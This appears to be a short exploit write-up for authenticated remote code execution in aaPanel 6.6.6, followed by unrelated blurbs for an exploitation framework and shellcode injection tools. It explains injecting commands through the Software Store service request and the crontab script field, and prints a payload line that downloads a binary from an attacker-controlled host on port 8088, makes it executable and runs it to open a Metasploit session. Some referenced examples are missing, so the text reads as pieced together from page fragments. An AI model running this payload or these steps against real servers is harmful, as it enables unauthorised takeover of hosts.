
aapanel 6.6.6 - (Authenticated) Remote Code Execution
To make this PoC, I just installed the software using docker-compose
Go to Software Store, click on any row from the setting's field, intercept the request when you click on "start/stop/restart" and modify/edit the resquest to execute what you want. Here is an example with curl :
To make this PoC, I just installed fresh Ubuntu 20.04, then I installed wget + sudo and executed this script wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh
First of all, setup web_delivery options, this will create a payload and a listener.
Now run it
this will generate the following payload:
wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown
Then copy/past like this into script content of crontab menu in aapanel.
Now just execute your crontab and wait your session.
Just run msfconsole -r aapanel.rc copy/paste the payload into script content section, and enjoy your session.

Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode